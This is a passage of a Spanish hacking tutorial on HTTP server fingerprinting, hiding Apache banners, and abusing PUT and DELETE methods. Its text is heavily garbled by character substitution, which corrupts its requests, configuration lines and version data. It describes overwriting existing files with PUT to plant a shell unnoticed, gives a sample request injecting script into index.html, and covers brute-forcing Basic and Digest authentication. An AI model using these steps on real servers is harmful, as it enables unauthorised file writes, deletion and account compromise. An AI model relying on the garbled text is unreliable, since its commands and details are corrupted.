Podemos er como en las cabeceras de respuesta de los ser idores ApacheE la in2ormaci/n primera Due aparece es "AT0E es decir la 2echaE - deba6o de =sta el banner! ?mitimos el banner dentro de las pruebas de 2ingerprinting porDue como -a hemos dicho con anterioridadE pueden estar spoo2eados! A di2erencia de ApacheE los ser idores Due corren con ..SE muestran como primera in2ormaci/n el bannerE mientras Due el campo "ate Dueda en posiciones in2eriores! (on esta primera prueba -a podrHamos islumbrar ante Du= ser idor nos encontramosb pero ante la duda es siempre pre2erible aplicar los otros tres tests! 0l segundo tests se apro echa de la respuesta de los ser idores ante un m=todo prohibido 7en la ma-orHa de los casos8 como puede ser "0+0T0! Apache - ..S reaccionan ante una petici/n "0+0T0 de 2ormas distintasE -a Due mientras Due Apache responde con un error 90< 71ethod not AlloKed8E ..S lo hace con un 903 75orbidden8! 0l siguiente consisten en mandar una petici/n 7un C0T por e6emplo8 colocando una ersi/n ine,istente de HTTP 73!0E <!&E etc8 para er Du= reacci/n toma el ser idor:

,pac$e:
HTTP/#!# 900 Bad 4eDuest "ate: ThuE ## Sep &00' 0%:30:#A C1T Ser er: Apache/#!3!9# 7Fni,8 PHP/<!&!> mod)log)b-tes/#!& mod)bKlimited/#!9 mod)a uth)passthrough/#!' 5rontPage/<!0!&!&>3< mod)ssl/&!'!3# ?penSS+/0!%!'b (onnection: close Trans2er$0ncoding: chunked (ontent$T-pe: te,t/htmlQ charsetRiso$''<%$#

II&:
HTTP/#!# &00 ?Z Ser er: 1icroso2t$..S/<!0 1icroso2t?22iceWebSer er: <!0)Pub :$PoKered$B-: ASP!@0T (ontent$+ocation: http://&00!9%!#<<!&#9/inde,!html "ate: ThuE ## Sep &00' 0%:3&:#3 C1T (ontent$T-pe: te,t/html Accept$4anges: b-tes +ast$1odi2ied: ThuE 0> "ec &00A 03:&':#< C1T 0Tag: Seab#b9%b'3Ac'#:#>>%S (ontent$+ength: >>

Podemos er como la respuesta de un ser idor Apache es un error 900 por mala petici/n 7Bad 4eDuest8! Por el contrarioE los ser idores ..S responden con un c/digo de ?Z 7&008 admitiendo este error de ersi/n de protocolo! +a reacci/n se in ierte cuando la petici/n en eG de contener un error en la ersi/n lo contiene en el protocolo en sHE es decirE en eG de poner HTTP/#!: ponemos otras cosas como 5?S/#!::

,pac$e:
HTTP/#!# &00 ?Z "ate: SunE #< Nun &003 #A:#A:9A C1T Ser er: Apache/#!3!&3 +ast$1odi2ied: ThuE &A 5eb &003 03:9':#% C1T 0Tag: S3&9#A$c9$3e<d'a'3S Accept$4anges: b-tes (ontent$+ength: #%> (onnection: close (ontent$T-pe: te,t/html

II&:
HTTP/1.1 -00 4ad .e5#est Server: Microsoft-66S/'.0 7ate: Th#, 11 Sep 200% 0&:!%:08 (MT 1o/te/t-T0pe: te2t/ht3$ 1o/te/t-Le/*th: %8

(omo emosE Apache responde un &00 mientras Due ..S un error 900!

A la luG de los resultados obtenidos tras realiGar esta serie de testsE podemos di2erenciar con alto porcenta6e de acierto ante Du= tipo de ser idor nos en2rentamos! 0sta t=cnica debemos de emplearla en la etapa de la enumeraci/nE -a Due si durante una auditorHa de seguridad o cuando amos a VasaltarW un ser idorE es necesario poder 2ocaliGar lo mI,imo posible nuestra acci/nE es decirE podremos probar a e,plotar ulnerabilidades e,clusi as de ese tipo de ser idor descartar otras t=cnicas de ataDue!

0x0:: #ontraata@ue A E'itando la identi1icacin de nue tro er'idor


(omo dice el tHtutlo del capHtulo hemos llegado a la parte del contraataDueE siempre es bueno aprender a hacer algoE pero tambi=n es esencial saber como se ha echo - como deshacerlo! AsH mismo esta eG hemos aprendido a utiliGar tecnicas como Banner Crabbing - Http 5ingerprinting pero tambi=n amos a aprender a protegernos de ambas! (omenGaremos con la protecci/n ante banners grabs dado Due es la t=cnica mIs sencilla de las dos Due hemos mencionado anteriormente! 0,isten 3 maneras de e itar el banner grab en ApacheE la primera editando un 2ichero de apache antes de instalarloE - las otras dos mediante mods de este mismo! Sin embargo solo mostrar= &! Fna eG ba6ado - descomprimido nuestro apache abrimos la carpeta include - localiGamos el archi o ap)release!h dentro de este buscamos algo como esto:
#de2ine AP)S04V04)BAS0V0@"?4 SApache So2tKare 5oundationS #de2ine AP)S04V04)BAS0P4?N0(T SApache HTTP Ser erS #de2ine AP)S04V04)BAS0P4?"F(T SApacheS #de2ine AP)S04V04)1AN?4V04S.?@)@F1B04 # #de2ine AP)S04V04)1.@?4V04S.?@)@F1B04 3 #de2ine AP)S04V04)PAT(H+0V0+)@F1B04 9# #de2ine AP)S04V04)"0VBF.+")B??+0A@ 0

0ste archi o de2ine los datos de la ersi/nE producto etc!!! 0ntonces ahora amos a proceder a modi2icarlo!
#de2ine AP)S04V04)BAS0V0@"?4 STito +i, Ser er 2undationW #de2ine AP)S04V04)BAS0P4?N0(T SZnight 5orce HTTP Ser erS #de2ine AP)S04V04)BAS0P4?"F(T SZnightS #de2ine AP)S04V04)1AN?4V04S.?@)@F1B04 & #de2ine AP)S04V04)1.@?4V04S.?@)@F1B04 0 #de2ine AP)S04V04)PAT(H+0V0+)@F1B04 0 #de2ine AP)S04V04)"0VBF.+")B??+0A@ ' Ahora lo instalamos -E probamos nuestra modi2icaci/n: [(i1LF$-o% M]$ nc loc l/ost T> HEAD 4 HTTP4 E8> U>> OV )onn$ctionC clos$ D t$C T/u0 E> W n U>>T EECUXCER 6+T S$%;$%C Vni7/t Fo%c$ HTTP S$%;$%44U8>8>8T &Qni1) )ont$ntKT"p$C t$1t4/t!l )li$ntKD t$C T/u0 E> W n U>>T EYCYZCUR 6+T )li$ntKP$$%C EU[8>8>8ECT> )li$ntKR$spons$KDu!C E

?tra 2orma mucho menos tediosa seria ba6ar el paDuete mod)headers! Se trata de un m/dulo de apacheE Due permite modi2icar las cabeceras de ueltas por el ser idor! Por e6emplo una eG instaladoE aJadiendo al 2ichero de con2iguraci/n de apache la siguiente lHnea:
H$ -$% s$t S$%;$% Vni7/t Fo%c$ HTTP S$%;$%

^a hemos isto como e itar el banner grabE pero ahora amos a intentar de2endernos del 2ingerprinting! @osotros hemos usado 9 test para conseguir identi2icar el ser idor con mI,ima certeGaE sin embargo e,iste una herramienta mu- usada para el 2ingerprintingE su nombre se llama httprintL'M! "icha herramienta estI cruGi2icada dentro de las reglas de mod)securit(uando instalemos mod)securit-L%M deberemos editar el 2ichero /etc/<od ecurit!*/<od ecurit!Bcr B10Bcon1i(.con1! Sustitu-endo la lHnea: SecSer erSignature SApache/&!&!% 75edora8S Por: SecSer erSignature SZnight 5orce HTTP Ser erS Ser erTokens 5ull 0legimos el nombre Due mas nos apeteGca! Ahora obligamos a Apache a recargar sus 2icheros de con2iguraci/n: /etc/init.d/apac$e* 1orce-reload

0x0;: ,ta@ue con Metodo


(omo imos al inicio de este paper sobre el protocolo HTTP e,isten di ersos m=todos Due sir en para el mane6o remoto de archi osE tales como PFTE (?P^ o "0+0T0! 0stos m=todos si estIn permitidos en un ser idor puede 6ugar mu- malas pasadasE -a Due mandando una cabecera PFT con el c/digo 2uente de una shell podrHamos tener control casi total del ser idorE subir un e,ploitE etcb 0n este capHtulo nos centraremos en el mane6o de estos m=todos VpeligrososW para los KebmastersE asH como aprender a desacti arlos para e itar males ma-ores!

/.0x0C #reacin ! "orrado de 1ic$ero 5Put ! %elete6


(uando encontramos un ser idor con los m=todos PFT - "0+0T0 admitidos podemos considerarnos mu- a2ortunadosE puesto Due tenemos casi todo el traba6o hecho! Vamos a empeGar hablando de PFT! PFT es un m=todo Due 2unciona a la in ersa Due C0TE es decirE en eG de leer el contenido de un 2ichero lo Due hace es escribir sobre =lE como -a imos al inicio de este paper! 0sto nos da una gran enta6a puesto Due podemos subir una shell al ser idor! Perob g(/mo

2unciona PFT_! PFT necesita de unos parImetros bIsicosE Due si lo pensamos bien resultan l/gicos! +o Due necesita es primero hacer la petici/n al 2ichero sobre el Due deseamos sobrescribir! 0n caso de Due el archi o al Due le hacemos PFT no e,istaE se crearI! Ba6o nuestro punto de ista emos con me6ores o6os a la hora de hacer un Vbuen asaltoW el apro echar 2icheros -a creadosE porDue asH nuestra shell pasarI desapercibida en el ser idor! ?tro parImetro Due necesita PFT es la longitud 7nOmero de caracteres8 Due tendrI el source del archi oE es decirE cuanto mide el c/digo Due amos a escribir! Para indicar estoE e,iste un campo llamado (ontent$+engthE el cual deberemos de rellenar con el nOmero e,acto de caracteres! 0ntonces una posible petici/n serHa la siguiente: PUT /index.html HTTP/1.1 Host: Ficticio.com Content-Length: 47 <script !lert"#Teste!ndo m$todo PUT%&'</script

(omo emos el uso de PFT es sencilloE pero ha- eces Due la cosa se complica puesto Due pide alguna 2orma de autenti2icaci/n para poder lle ar a cabo esta petici/n con =,ito! (uando se usa PFTE el mensa6e de Due las negociaciones han sido per2ectas iene de2inido por un c/digo &0#! 0ste &0# indica Due el archi o ha sido subido/sobrescrito per2ectamente! Vol iendo a lo de la autenti2icaci/nE deciros Due este tema se tocarI en el siguiente capHtulo! (omo an=cdota de PFTE decir Due en los ser idores ..S <!0 iene acti ado por de2ectoLAME con lo Due depende del dueJo del ser idor el deshabilitad este m=todoE lo Due da pie a una alta probabilidad de encontrar este m=todo permitido en ser idores antiguos! 0l gran problema de PFT es Due de6an unas huellas en los logs Due son increHblemente sencillos de analiGar - de er el 2alloE -a Due en los logs se recogen las peticiones Due habeis realiGado!

Por contrapartida a PFT encontramos "0+0T0! 0ste m=todoE como su propio nombre indicaE tiene la 2unci/n de eliminar el archi o al Due le hace la petici/n!

"0+0T0 /inde,!html HTTP/#!# Host: [hostU Fser$Agent: $$$$$"emIs campos$$$$

(omo podemos erE "0+0T0 es un m=todo 2Icil de usarE pero Due al igual Due put suele aparecer deshabilitadoE - de6a tambi=n unos rastros enormes en los logs! Tanto "0+0T0 como PFT necesitan en muchos casos de rellenar el campo VAuthoriGationWE - esto es lo Due amos a er en el siguiente capHtulo!

/.0x10 ,ut$oriDation
(on la 2irme intenci/n de preser ar la seguridad en los ser idoresE la inmensa ma-orHa a implementado un sistema de autenti2icaci/n para e itar Due usuarios malintencionados no abusen de los m=todos Due tienen permitidos en el ser idorE es decirE de6an alloKed m=todos tales como PFT o "0+0T0 pero piden algOn tipo de identi2icaci/n para poder lle ar a buen puerto la petici/n! 0sta Videnti2icaci/nW puede ser de arios tiposE pero los mIs e,tendidos son Basic - "igest! +a identi2icaci/n se en Ha dentro del headerE en el campo AuthoriGation! 0l tipo de identi2icaci/n mIs primiti o - por ello menos seguro es Basic! 0ste tipo de identi2icaci/n se basa en una passKord encriptada en Base>9E Due generalmente es 2Icil de e,traer con un poco de l/gicaE -a Due en el >0\ de los casos se trata del nombre del hostE la .P del ser idor - cosas por el estilo! +a estructura bIsica para obtener una identi2icaci/n Ilida es Base>97Palabra#:Palabra&8! +o Due deberemos de cambiar serIn Palabra# - Palabra& hasta lograr encontrar el login correcto! A eces encontramos DueE si durante la 2ase de la enumeraci/n hemos localiGado un ser idor ulnerable a algOn tipo de B-passing para estoE lo Due se conoce como HTTP >a ic ,ut$entication >!pa A podrHamos usarlo para poder lle ar a cabo nuestra petici/n VprohibidaW! 0n caso de Due no logremos pasar la 2ase de eri2icaci/n de los credencialesE obtendremos como respuesta a nuestra petici/n un error 90# 7FnathoriGated8E por el contrario si las negociaciones se lle an de 2orma correctaE puesto Due hemos acertado en el passKord - en el usuarioE obtendremos un c/digo ?Z &0# 7en el caso de haber hecho uploading a una shell por e6emplo8!

0l segundo tipo de sistema de autenti2icaci/n es "igest 7%i(e t acce aut$entication6. 0ste sistema es mucho mIs seguro Due BasicE en cuanto a Due no manda la in2ormaci/n como te,to planoE si no en 2orma de un hash basado en el algoritmo 1"<! SegOn los stIndaresE este sistema de autenti2icaci/n sigue el siguiente comportamiento:

Ha $, E M%:5,6 E M%:5u erna<e : real< : pa Ha $> E M%:5>6 E M%5<et$od : %i(e t /0I6 0e pon e M%:5Ha $, : nonce : Ha $>6

Ford6

Sobre este sistema decir Due es atacable mediante colisionesE aunDue e,isten mecanismos implementables en los ser idores encargados de detectar colisiones dentro de los credenciales! Fn segundo ataDue algo mIs V iableW serHa el establecer un ataDue basado en 5uerGa Bruta desde una red de ordenadores! 4ealmente para e,plotar un simple PFT o un "0+0T0 lle ar a cabo cualDuiera de estos dos posibles ataDues contra una autenti2icaci/n "igest es una tonterHaE pero sH Due puede ser necesaria en caso de Duerer realiGar un ataDue Va ma-or escalaW en el cual si Due necesitemos romperlo!

0x0=: Lin) de interG H %e pedida


"urante todo el paper habran obser ado Due en arias ocasiones se presentaba un nOmero entre & corchetesE pues bien ese nOmero corresponde a el ord=n de in2ormaci/n adicional Due amos a dar en este paper! L#MFni2orm 4esource .denti2ier 7F4.8: Ceneric S-nta, L&M+ista de c/digos de estado HTTP L3MHeader 5ield "e2initions L9MB-passeando 2iltros de uploads - subiendo archi os !php L<MLFPM :$ProtectionE :$StatisticsE :$Poll 1ultiple Vulnerabilities L>MCreasemonke- 1anual LAM(/mo deshabilitar Web"AV para ..S <!0 L'MAn .ntroduction to HTTP 2ingerprinting L%M1odSecurit-h 4e2erence 1anual

Por Oltimo llegamos a la despedidaE para esta parte de6aremos de escribir como dos! Vengador de las Sombras: Agradecimientos a los integrantes del 5?S Tea1E tambi=n a mi hermano PlagaE a +utscherE SetHE (H40@0< - askatasun de (PHE a 5r39kE Phoni, - Ze-net de 40E - por Oltimo de Argeni ersoHack a WaesWaes - 4CB0%0 +i,/Sknight: Saludos a Tec$n0,E eT:dsE TorE ?G:E #%%<E (#c9tr#TE @ano @ 4osesE HuemulitoE Shell Ziller & all (PH Sta22!

Você também pode gostar